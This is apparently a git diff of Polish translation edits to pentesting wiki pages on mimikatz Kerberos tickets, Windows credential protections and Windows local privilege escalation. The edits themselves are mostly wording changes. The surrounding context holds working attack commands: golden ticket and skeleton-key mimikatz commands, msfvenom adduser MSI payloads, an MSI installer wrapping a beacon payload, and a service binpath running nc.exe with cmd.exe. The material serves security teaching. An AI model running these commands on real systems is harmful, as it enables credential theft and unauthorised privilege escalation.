-### Tworzenie Biletu Zaufania +### Tworzenie Zaufanego Biletu -Bilety Zaufania są używane do uzyskiwania dostępu do zasobów w różnych domenach poprzez wykorzystanie relacji zaufania. Kluczowe polecenie i parametry: +Zaufane Bilety są używane do uzyskiwania dostępu do zasobów w różnych domenach poprzez wykorzystanie relacji zaufania. Kluczowe polecenie i parametry: - Polecenie: Podobne do Złotego Biletu, ale dla relacji zaufania. - Parametry: @@ -99,19 +99,19 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123 - Polecenie: `kerberos::list` - Wyświetla wszystkie bilety Kerberos dla bieżącej sesji użytkownika. -- **Przekaż pamięć podręczną**: +- **Przekazywanie pamięci podręcznej**: - Polecenie: `kerberos::ptc` - Wstrzykuje bilety Kerberos z plików pamięci podręcznej. - Przykład: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit` -- **Przekaż bilet**: +- **Przekazywanie biletu**: - Polecenie: `kerberos::ptt` - Umożliwia użycie biletu Kerberos w innej sesji. - Przykład: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit` -- **Oczyść bilety**: +- **Czyszczenie biletów**: - Polecenie: `kerberos::purge` - Czyści wszystkie bilety Kerberos z sesji. - Przydatne przed użyciem poleceń manipulacji biletami, aby uniknąć konfliktów. @@ -147,12 +147,12 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123 - `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit` -- **LSADUMP::Trust**: Pobiera informacje o uwierzytelnieniu zaufania. +- **LSADUMP::Trust**: Pobiera informacje o uwierzytelnianiu zaufania. - `mimikatz "lsadump::trust" exit` ### Różne -- **MISC::Skeleton**: Wstrzykuje tylne wejście do LSASS na DC. +- **MISC::Skeleton**: Wstrzykuje backdoora do LSASS na DC. - `mimikatz "privilege::debug" "misc::skeleton" exit` ### Eskalacja uprawnień @@ -178,7 +178,7 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123 - **SID::add/modify**: Zmienia SID i SIDHistory. - Dodaj: `mimikatz "sid::add /user:targetUser /sid:newSid" exit` -- Zmień: _Brak konkretnego polecenia do zmiany w oryginalnym kontekście._ +- Zmień: _Brak konkretnego polecenia dla zmiany w oryginalnym kontekście._ - **TOKEN::Elevate**: Podszywa się pod tokeny. - `mimikatz "token::elevate /domainadmin" exit` diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md index 025879821..0a4cb4237 100644 --- a/src/windows-hardening/stealing-credentials/credentials-protections.md +++ b/src/windows-hardening/stealing-credentials/credentials-protections.md @@ -28,9 +28,9 @@ Możliwe jest obejście tej ochrony za pomocą sterownika Mimikatz mimidrv.sys: ## Credential Guard -**Credential Guard**, funkcja dostępna wyłącznie w **Windows 10 (edycje Enterprise i Education)**, zwiększa bezpieczeństwo poświadczeń maszyny za pomocą **Virtual Secure Mode (VSM)** i **Virtualization Based Security (VBS)**. Wykorzystuje rozszerzenia wirtualizacji CPU do izolacji kluczowych procesów w chronionej przestrzeni pamięci, z dala od zasięgu głównego systemu operacyjnego. Ta izolacja zapewnia, że nawet jądro nie ma dostępu do pamięci w VSM, skutecznie chroniąc poświadczenia przed atakami takimi jak **pass-the-hash**. **Local Security Authority (LSA)** działa w tym bezpiecznym środowisku jako trustlet, podczas gdy proces **LSASS** w głównym systemie operacyjnym działa jedynie jako komunikator z LSA VSM. +**Credential Guard**, funkcja dostępna wyłącznie w **Windows 10 (edycje Enterprise i Education)**, zwiększa bezpieczeństwo poświadczeń maszyny, korzystając z **Virtual Secure Mode (VSM)** i **Virtualization Based Security (VBS)**. Wykorzystuje rozszerzenia wirtualizacji CPU do izolacji kluczowych procesów w chronionej przestrzeni pamięci, z dala od zasięgu głównego systemu operacyjnego. Ta izolacja zapewnia, że nawet jądro nie ma dostępu do pamięci w VSM, skutecznie chroniąc poświadczenia przed atakami takimi jak **pass-the-hash**. **Local Security Authority (LSA)** działa w tym bezpiecznym środowisku jako trustlet, podczas gdy proces **LSASS** w głównym systemie operacyjnym działa jedynie jako komunikator z LSA VSM. -Domyślnie **Credential Guard** nie jest aktywowany i wymaga ręcznej aktywacji w organizacji. Jest to kluczowe dla zwiększenia bezpieczeństwa przed narzędziami takimi jak **Mimikatz**, które mają ograniczone możliwości wydobywania poświadczeń. Jednak luki mogą być nadal wykorzystywane poprzez dodanie niestandardowych **Security Support Providers (SSP)** do przechwytywania poświadczeń w postaci czystego tekstu podczas prób logowania. +Domyślnie **Credential Guard** nie jest aktywny i wymaga ręcznej aktywacji w organizacji. Jest to kluczowe dla zwiększenia bezpieczeństwa przed narzędziami takimi jak **Mimikatz**, które mają ograniczone możliwości wydobywania poświadczeń. Jednakże, luki mogą być nadal wykorzystywane poprzez dodanie niestandardowych **Security Support Providers (SSP)** do przechwytywania poświadczeń w postaci czystego tekstu podczas prób logowania. Aby zweryfikować status aktywacji **Credential Guard**, można sprawdzić klucz rejestru _**LsaCfgFlags**_ w _**HKLM\System\CurrentControlSet\Control\LSA**_. Wartość "**1**" oznacza aktywację z **UEFI lock**, "**2**" bez blokady, a "**0**" oznacza, że nie jest włączona. To sprawdzenie rejestru, choć jest silnym wskaźnikiem, nie jest jedynym krokiem do włączenia Credential Guard. Szczegółowe wskazówki oraz skrypt PowerShell do włączenia tej funkcji są dostępne online. ```powershell @@ -42,13 +42,13 @@ Dalsze szczegóły dotyczące wdrażania niestandardowych SSP do przechwytywania ## Tryb RestrictedAdmin RDP -**Windows 8.1 i Windows Server 2012 R2** wprowadziły kilka nowych funkcji zabezpieczeń, w tym _**tryb Restricted Admin dla RDP**_. Tryb ten został zaprojektowany w celu zwiększenia bezpieczeństwa poprzez ograniczenie ryzyka związanego z [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) atakami. +**Windows 8.1 i Windows Server 2012 R2** wprowadziły kilka nowych funkcji zabezpieczeń, w tym _**tryb Restricted Admin dla RDP**_. Tryb ten został zaprojektowany w celu zwiększenia bezpieczeństwa poprzez łagodzenie ryzyk związanych z [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) atakami. Tradycyjnie, podczas łączenia się z zdalnym komputerem za pomocą RDP, twoje poświadczenia są przechowywane na docelowej maszynie. Stanowi to znaczące ryzyko bezpieczeństwa, szczególnie przy użyciu kont z podwyższonymi uprawnieniami. Jednak dzięki wprowadzeniu _**trybu Restricted Admin**_, to ryzyko jest znacznie zredukowane. Podczas inicjowania połączenia RDP za pomocą polecenia **mstsc.exe /RestrictedAdmin**, uwierzytelnienie do zdalnego komputera odbywa się bez przechowywania twoich poświadczeń na nim. Takie podejście zapewnia, że w przypadku infekcji złośliwym oprogramowaniem lub jeśli złośliwy użytkownik uzyska dostęp do zdalnego serwera, twoje poświadczenia nie zostaną skompromitowane, ponieważ nie są przechowywane na serwerze. -Ważne jest, aby zauważyć, że w **trybie Restricted Admin** próby dostępu do zasobów sieciowych z sesji RDP nie będą używać twoich osobistych poświadczeń; zamiast tego używana jest **tożsamość maszyny**. +Ważne jest, aby zauważyć, że w **trybie Restricted Admin**, próby dostępu do zasobów sieciowych z sesji RDP nie będą używać twoich osobistych poświadczeń; zamiast tego używana jest **tożsamość maszyny**. Funkcja ta stanowi znaczący krok naprzód w zabezpieczaniu połączeń pulpitu zdalnego i ochronie wrażliwych informacji przed ujawnieniem w przypadku naruszenia bezpieczeństwa. @@ -56,11 +56,11 @@ Funkcja ta stanowi znaczący krok naprzód w zabezpieczaniu połączeń pulpitu Aby uzyskać bardziej szczegółowe informacje, odwiedź [ten zasób](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/). -## Pamiętane Poświadczenia +## Poświadczenia w pamięci podręcznej -Windows zabezpiecza **poświadczenia domeny** za pomocą **Local Security Authority (LSA)**, wspierając procesy logowania z protokołami zabezpieczeń takimi jak **Kerberos** i **NTLM**. Kluczową cechą systemu Windows jest jego zdolność do pamiętania **ostatnich dziesięciu logowań do domeny**, aby zapewnić użytkownikom dostęp do ich komputerów, nawet jeśli **kontroler domeny jest offline**—co jest korzystne dla użytkowników laptopów często poza siecią swojej firmy. +Windows zabezpiecza **poświadczenia domeny** za pomocą **Local Security Authority (LSA)**, wspierając procesy logowania z protokołami zabezpieczeń takimi jak **Kerberos** i **NTLM**. Kluczową cechą systemu Windows jest jego zdolność do buforowania **ostatnich dziesięciu logowań do domeny**, aby zapewnić użytkownikom dostęp do ich komputerów, nawet jeśli **kontroler domeny jest offline**—co jest korzystne dla użytkowników laptopów, którzy często są poza siecią swojej firmy. -Liczba pamiętanych logowań jest regulowana za pomocą konkretnego **klucza rejestru lub polityki grupowej**. Aby wyświetlić lub zmienić to ustawienie, wykorzystuje się następujące polecenie: +Liczba buforowanych logowań jest regulowana za pomocą konkretnego **klucza rejestru lub polityki grupowej**. Aby wyświetlić lub zmienić to ustawienie, wykorzystuje się następujące polecenie: ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` @@ -68,19 +68,19 @@ Dostęp do tych pamiętanych poświadczeń jest ściśle kontrolowany, a jedynie **Mimikatz** może być użyty do wyodrębnienia tych pamiętanych poświadczeń za pomocą polecenia `lsadump::cache`. -Aby uzyskać więcej szczegółów, oryginalne [źródło](http://juggernaut.wikidot.com/cached-credentials) dostarcza kompleksowych informacji. +Aby uzyskać więcej szczegółów, oryginalne [źródło](http://juggernaut.wikidot.com/cached-credentials) zawiera obszerne informacje. ## Chronieni Użytkownicy -Członkostwo w **grupie Chronionych Użytkowników** wprowadza kilka ulepszeń bezpieczeństwa dla użytkowników, zapewniając wyższy poziom ochrony przed kradzieżą i nadużywaniem poświadczeń: +Członkostwo w grupie **Chronionych Użytkowników** wprowadza kilka ulepszeń bezpieczeństwa dla użytkowników, zapewniając wyższy poziom ochrony przed kradzieżą i nadużywaniem poświadczeń: - **Delegacja Poświadczeń (CredSSP)**: Nawet jeśli ustawienie zasad grupy dla **Zezwól na delegowanie domyślnych poświadczeń** jest włączone, poświadczenia w postaci tekstu jawnego Chronionych Użytkowników nie będą pamiętane. - **Windows Digest**: Począwszy od **Windows 8.1 i Windows Server 2012 R2**, system nie będzie pamiętał poświadczeń w postaci tekstu jawnego Chronionych Użytkowników, niezależnie od statusu Windows Digest. - **NTLM**: System nie będzie pamiętał poświadczeń w postaci tekstu jawnego Chronionych Użytkowników ani funkcji jednokierunkowych NT (NTOWF). - **Kerberos**: Dla Chronionych Użytkowników, uwierzytelnianie Kerberos nie wygeneruje **kluczy DES** ani **RC4**, ani nie będzie pamiętać poświadczeń w postaci tekstu jawnego ani kluczy długoterminowych poza początkowym uzyskaniem biletu TGT (Ticket-Granting Ticket). -- **Logowanie Offline**: Chronieni Użytkownicy nie będą mieli utworzonego pamiętanego weryfikatora podczas logowania lub odblokowywania, co oznacza, że logowanie offline nie jest wspierane dla tych kont. +- **Logowanie Offline**: Chronieni Użytkownicy nie będą mieli utworzonego pamiętanego weryfikatora podczas logowania lub odblokowywania, co oznacza, że logowanie offline nie jest obsługiwane dla tych kont. -Te zabezpieczenia są aktywowane w momencie, gdy użytkownik, który jest członkiem **grupy Chronionych Użytkowników**, loguje się do urządzenia. Zapewnia to, że krytyczne środki bezpieczeństwa są wprowadzone, aby chronić przed różnymi metodami kompromitacji poświadczeń. +Te zabezpieczenia są aktywowane w momencie, gdy użytkownik, który jest członkiem grupy **Chronionych Użytkowników**, loguje się do urządzenia. Zapewnia to, że krytyczne środki bezpieczeństwa są wdrażane w celu ochrony przed różnymi metodami kompromitacji poświadczeń. Aby uzyskać bardziej szczegółowe informacje, zapoznaj się z oficjalną [dokumentacją](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group). diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 0a9cf9169..878bda0f4 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -32,7 +32,7 @@ integrity-levels.md ## Kontrole bezpieczeństwa Windows -Istnieją różne elementy w Windows, które mogą **uniemożliwić ci enumerację systemu**, uruchamianie plików wykonywalnych lub nawet **wykrywanie twoich działań**. Powinieneś **przeczytać** następującą **stronę** i **enumerować** wszystkie te **mechanizmy obronne** przed rozpoczęciem enumeracji eskalacji uprawnień: +Istnieją różne elementy w Windows, które mogą **uniemożliwić ci enumerację systemu**, uruchamianie plików wykonywalnych lub nawet **wykrywanie twoich działań**. Powinieneś **przeczytać** następującą **stronę** i **enumerować** wszystkie te **mechanizmy** **obronne** przed rozpoczęciem enumeracji eskalacji uprawnień: {{#ref}} ../authentication-credentials-uac-and-efs/ @@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Pełny zapis aktywności i zawartości wykonania skryptu jest rejestrowany, zapewniając, że każdy blok kodu jest dokumentowany w trakcie jego działania. Proces ten zachowuje kompleksowy ślad audytowy każdej aktywności, cenny dla analizy kryminalistycznej i analizy złośliwego zachowania. Dokumentując wszystkie aktywności w momencie wykonania, dostarczane są szczegółowe informacje na temat procesu. +Pełny zapis aktywności i zawartości wykonania skryptu jest rejestrowany, zapewniając, że każdy blok kodu jest dokumentowany w trakcie jego działania. Proces ten zachowuje kompleksowy ślad audytowy każdej aktywności, cenny dla analizy kryminalistycznej i analizy złośliwego zachowania. Dokumentując wszystkie działania w momencie wykonania, dostarczane są szczegółowe informacje na temat procesu. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging @@ -152,7 +152,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Możesz skompromitować system, jeśli aktualizacje są żądane za pomocą http**S**, a nie http. +Możesz skompromitować system, jeśli aktualizacje nie są żądane za pomocą http**S**, lecz http. Zaczynasz od sprawdzenia, czy sieć używa aktualizacji WSUS bez SSL, uruchamiając następujące: ``` @@ -178,7 +178,7 @@ Przeczytaj badania tutaj: [**Przeczytaj pełny raport tutaj**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ Zasadniczo, to jest wada, którą wykorzystuje ten błąd: -> Jeśli mamy możliwość modyfikacji naszego lokalnego proxy użytkownika, a Windows Update używa proxy skonfigurowanego w ustawieniach Internet Explorera, to mamy zatem możliwość uruchomienia [PyWSUS](https://github.com/GoSecure/pywsus) lokalnie, aby przechwycić nasz własny ruch i uruchomić kod jako podwyższony użytkownik na naszym zasobie. +> Jeśli mamy możliwość modyfikacji naszego lokalnego proxy użytkownika, a Windows Update używa proxy skonfigurowanego w ustawieniach Internet Explorera, to mamy możliwość uruchomienia [PyWSUS](https://github.com/GoSecure/pywsus) lokalnie, aby przechwycić nasz własny ruch i uruchomić kod jako podwyższony użytkownik na naszym zasobie. > > Ponadto, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, będzie również korzystać z jego magazynu certyfikatów. Jeśli wygenerujemy certyfikat samopodpisany dla nazwy hosta WSUS i dodamy ten certyfikat do magazynu certyfikatów bieżącego użytkownika, będziemy w stanie przechwycić zarówno ruch WSUS HTTP, jak i HTTPS. WSUS nie używa mechanizmów podobnych do HSTS, aby wdrożyć walidację typu trust-on-first-use na certyfikacie. Jeśli przedstawiony certyfikat jest zaufany przez użytkownika i ma poprawną nazwę hosta, zostanie zaakceptowany przez usługę. @@ -186,7 +186,7 @@ Możesz wykorzystać tę lukę, używając narzędzia [**WSUSpicious**](https:// ## KrbRelayUp -Luka **w podwyższaniu uprawnień lokalnych** istnieje w środowiskach **domenowych** Windows w określonych warunkach. Warunki te obejmują środowiska, w których **podpisywanie LDAP nie jest wymuszane,** użytkownicy mają prawa do samodzielnego konfigurowania **Resource-Based Constrained Delegation (RBCD)** oraz możliwość tworzenia komputerów w domenie. Ważne jest, aby zauważyć, że te **wymagania** są spełnione przy użyciu **domyślnych ustawień**. +Luka **w podwyższaniu uprawnień lokalnych** istnieje w środowiskach **domenowych** Windows w określonych warunkach. Warunki te obejmują środowiska, w których **podpisywanie LDAP nie jest egzekwowane,** użytkownicy mają prawa do samodzielnego konfigurowania **Resource-Based Constrained Delegation (RBCD)** oraz możliwość tworzenia komputerów w domenie. Ważne jest, aby zauważyć, że te **wymagania** są spełnione przy użyciu **ustawień domyślnych**. Znajdź **exploit w** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) @@ -199,7 +199,7 @@ Aby uzyskać więcej informacji na temat przebiegu ataku, sprawdź [https://rese reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` -### Ładunki Metasploit +### Payloady Metasploit ```bash msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted @@ -216,7 +216,7 @@ Po prostu uruchom utworzony plik binarny, aby podnieść uprawnienia. ### MSI Wrapper -Przeczytaj ten samouczek, aby dowiedzieć się, jak stworzyć opakowanie MSI za pomocą tych narzędzi. Zauważ, że możesz opakować plik "**.bat**", jeśli **tylko** chcesz **wykonać** **linie poleceń**. +Przeczytaj ten poradnik, aby dowiedzieć się, jak stworzyć opakowanie MSI za pomocą tych narzędzi. Zauważ, że możesz opakować plik "**.bat**", jeśli **tylko** chcesz **wykonać** **linie poleceń**. {{#ref}} msi-wrapper.md @@ -238,7 +238,7 @@ create-msi-with-wix.md - Istnieją inne właściwości, które możesz zmienić, takie jak **Autor** i **Producent**, co może sprawić, że zainstalowana aplikacja będzie wyglądać bardziej wiarygodnie. - Kliknij prawym przyciskiem myszy na projekt i wybierz **Widok > Akcje niestandardowe**. - Kliknij prawym przyciskiem myszy **Instaluj** i wybierz **Dodaj akcję niestandardową**. -- Kliknij dwukrotnie na **Folder aplikacji**, wybierz swój plik **beacon.exe** i kliknij **OK**. To zapewni, że ładunek beacon zostanie uruchomiony, gdy tylko instalator zostanie uruchomiony. +- Kliknij dwukrotnie na **Folder aplikacji**, wybierz swój plik **beacon.exe** i kliknij **OK**. To zapewni, że ładunek beacon zostanie wykonany, gdy instalator zostanie uruchomiony. - W **Właściwościach akcji niestandardowej** zmień **Run64Bit** na **True**. - Na koniec **zbuduj to**. - Jeśli pojawi się ostrzeżenie `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, upewnij się, że ustawiłeś platformę na x64. @@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ``` ### LAPS -**LAPS** jest zaprojektowany do **zarządzania lokalnymi hasłami Administratora**, zapewniając, że każde hasło jest **unikalne, losowe i regularnie aktualizowane** na komputerach dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którzy otrzymali wystarczające uprawnienia przez ACL, co pozwala im na przeglądanie lokalnych haseł administratora, jeśli są upoważnieni. +**LAPS** jest zaprojektowany do **zarządzania lokalnymi hasłami administratorów**, zapewniając, że każde hasło jest **unikalne, losowe i regularnie aktualizowane** na komputerach dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którzy otrzymali wystarczające uprawnienia przez ACL, co pozwala im na przeglądanie lokalnych haseł administratorów, jeśli są upoważnieni. {{#ref}} ../active-directory-methodology/laps.md @@ -433,8 +433,8 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version Jeśli masz ten błąd (na przykład z SSDPSRV): -_Błąd systemu 1058 wystąpił._\ -&#xNAN;_Tusługa nie może zostać uruchomiona, ponieważ jest wyłączona lub nie ma z nią powiązanych włączonych urządzeń._ +_Wystąpił błąd systemu 1058._\ +&#xNAN;_Tusługa nie może zostać uruchomiona, ponieważ jest wyłączona lub nie ma powiązanych z nią włączonych urządzeń._ Możesz ją włączyć używając ```bash @@ -443,13 +443,13 @@ sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **Weź pod uwagę, że usługa upnphost zależy od SSDPSRV, aby działać (dla XP SP1)** -**Innym obejściem** tego problemu jest uruchomienie: +**Inne obejście** tego problemu to uruchomienie: ``` sc.exe config usosvc start= auto ``` ### **Zmodyfikuj ścieżkę binarną usługi** -W scenariuszu, w którym grupa "Użytkownicy uwierzytelnieni" posiada **SERVICE_ALL_ACCESS** do usługi, modyfikacja binarnego pliku wykonywalnego usługi jest możliwa. Aby zmodyfikować i wykonać **sc**: +W scenariuszu, w którym grupa "Użytkownicy uwierzytelnieni" posiada **SERVICE_ALL_ACCESS** do usługi, możliwa jest modyfikacja binarnego pliku wykonywalnego usługi. Aby zmodyfikować i wykonać **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -467,8 +467,8 @@ Uprawnienia mogą być eskalowane poprzez różne uprawnienia: - **SERVICE_CHANGE_CONFIG**: Umożliwia rekonfigurację binarnego pliku usługi. - **WRITE_DAC**: Umożliwia rekonfigurację uprawnień, co prowadzi do możliwości zmiany konfiguracji usługi. - **WRITE_OWNER**: Zezwala na przejęcie własności i rekonfigurację uprawnień. -- **GENERIC_WRITE**: Dziedziczy zdolność do zmiany konfiguracji usługi. -- **GENERIC_ALL**: Również dziedziczy zdolność do zmiany konfiguracji usługi. +- **GENERIC_WRITE**: Dziedziczy możliwość zmiany konfiguracji usługi. +- **GENERIC_ALL**: Również dziedziczy możliwość zmiany konfiguracji usługi. Do wykrywania i wykorzystania tej podatności można wykorzystać _exploit/windows/local/service_permissions_. @@ -489,8 +489,8 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> ``` ### Usługi rejestru modyfikacja uprawnień -Powinieneś sprawdzić, czy możesz modyfikować jakikolwiek rejestr usług.\ -Możesz **sprawdzić** swoje **uprawnienia** do rejestru **usług** wykonując: +Powinieneś sprawdzić, czy możesz modyfikować jakikolwiek rejestr usługi.\ +Możesz **sprawdzić** swoje **uprawnienia** do rejestru **usługi** wykonując: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -602,7 +602,7 @@ privilege-escalation-with-autorun-binaries.md ### Sterowniki -Szukaj możliwych **dziwnych/wrażliwych** sterowników od **stron trzecich**. +Szukaj możliwych **dziwnych/wrażliwych** sterowników firm trzecich. ```bash driverquery driverquery.exe /fo table @@ -644,7 +644,7 @@ ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Otwarte porty +### Otwarty porty Sprawdź **usługi ograniczone** z zewnątrz ```bash @@ -671,9 +671,9 @@ Więcej[ poleceń do enumeracji sieci tutaj](../basic-cmd-for-pentesters.md#netw C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -Plik binarny `bash.exe` można również znaleźć w `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` +Binary `bash.exe` można również znaleźć w `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Jeśli uzyskasz dostęp do użytkownika root, możesz nasłuchiwać na dowolnym porcie (za pierwszym razem, gdy użyjesz `nc.exe` do nasłuchiwania na porcie, zapyta za pomocą GUI, czy `nc` powinien być dozwolony przez zaporę). +Jeśli uzyskasz dostęp do użytkownika root, możesz nasłuchiwać na dowolnym porcie (za pierwszym razem, gdy użyjesz `nc.exe` do nasłuchiwania na porcie, zapyta przez GUI, czy `nc` powinien być dozwolony przez zaporę). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -703,7 +703,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef Z [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ Skarbiec systemu Windows przechowuje poświadczenia użytkowników dla serwerów, stron internetowych i innych programów, które **Windows** może **automatycznie logować użytkowników**. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą przechowywać swoje poświadczenia do Facebooka, Twittera, Gmaila itp., aby automatycznie logować się przez przeglądarki. Ale to nie jest prawda. -Skarbiec systemu Windows przechowuje poświadczenia, które Windows może automatycznie logować użytkowników, co oznacza, że każda **aplikacja Windows, która potrzebuje poświadczeń do uzyskania dostępu do zasobu** (serwera lub strony internetowej) **może korzystać z tego Menedżera poświadczeń** i Skarbca systemu Windows oraz używać dostarczonych poświadczeń zamiast użytkowników wprowadzających nazwę użytkownika i hasło za każdym razem. +Skarbiec systemu Windows przechowuje poświadczenia, które Windows może automatycznie logować użytkowników, co oznacza, że każda **aplikacja Windows, która potrzebuje poświadczeń do uzyskania dostępu do zasobu** (serwera lub strony internetowej) **może korzystać z tego Menedżera poświadczeń** i Skarbca systemu Windows oraz używać dostarczonych poświadczeń zamiast użytkowników wprowadzać nazwę użytkownika i hasło za każdym razem. O ile aplikacje nie współdziałają z Menedżerem poświadczeń, nie sądzę, aby mogły używać poświadczeń dla danego zasobu. Dlatego, jeśli twoja aplikacja chce korzystać ze skarbca, powinna w jakiś sposób **komunikować się z menedżerem poświadczeń i żądać poświadczeń dla tego zasobu** z domyślnego skarbca. @@ -731,7 +731,7 @@ Zauważ, że mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/uti **DPAPI umożliwia szyfrowanie kluczy za pomocą klucza symetrycznego, który jest pochodną sekretów logowania użytkownika**. W scenariuszach związanych z szyfrowaniem systemu wykorzystuje sekrety uwierzytelniania domeny systemu. -Szyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu `%APPDATA%\Microsoft\Protect\{SID}`, gdzie `{SID}` reprezentuje [Identifikator bezpieczeństwa](https://en.wikipedia.org/wiki/Security_Identifier) użytkownika. **Klucz DPAPI, współlokowany z kluczem głównym, który chroni prywatne klucze użytkownika w tym samym pliku**, zazwyczaj składa się z 64 bajtów losowych danych. (Ważne jest, aby zauważyć, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wyświetlenie jego zawartości za pomocą polecenia `dir` w CMD, chociaż można go wyświetlić za pomocą PowerShell). +Szyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu `%APPDATA%\Microsoft\Protect\{SID}`, gdzie `{SID}` reprezentuje [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) użytkownika. **Klucz DPAPI, współlokalizowany z kluczem głównym, który chroni prywatne klucze użytkownika w tym samym pliku**, zazwyczaj składa się z 64 bajtów losowych danych. (Ważne jest, aby zauważyć, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wyświetlenie jego zawartości za pomocą polecenia `dir` w CMD, chociaż można go wyświetlić za pomocą PowerShell). ```powershell Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ @@ -883,7 +883,7 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -Sprawdź, czy `C:\Windows\CCM\SCClient.exe` istnieje.\ +Sprawdź, czy `C:\Windows\CCM\SCClient.exe` istnieje .\ Instalatory są **uruchamiane z uprawnieniami SYSTEM**, wiele z nich jest podatnych na **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion @@ -909,7 +909,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' Jeśli znajdziesz jakikolwiek wpis w tym katalogu, prawdopodobnie będzie to zapisany klucz SSH. Jest on przechowywany w zaszyfrowanej formie, ale można go łatwo odszyfrować za pomocą [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Więcej informacji na temat tej techniki tutaj: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Jeśli usługa `ssh-agent` nie działa i chcesz, aby uruchamiała się automatycznie przy starcie, uruchom: +Jeśli usługa `ssh-agent` nie jest uruchomiona i chcesz, aby uruchamiała się automatycznie przy starcie, uruchom: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` @@ -932,8 +932,6 @@ C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` Możesz również wyszukiwać te pliki za pomocą **metasploit**: _post/windows/gather/enum_unattend_ - -Przykładowa zawartość: ```xml @@ -978,7 +976,7 @@ Szukaj pliku o nazwie **SiteList.xml** ### Cached GPP Pasword -Funkcja, która wcześniej była dostępna, pozwalała na wdrażanie niestandardowych lokalnych kont administratorów na grupie maszyn za pomocą Preferencji Zasad Grupy (GPP). Jednak ta metoda miała istotne luki w zabezpieczeniach. Po pierwsze, Obiekty Zasad Grupy (GPO), przechowywane jako pliki XML w SYSVOL, mogły być dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPP, szyfrowane za pomocą AES256 przy użyciu publicznie udokumentowanego domyślnego 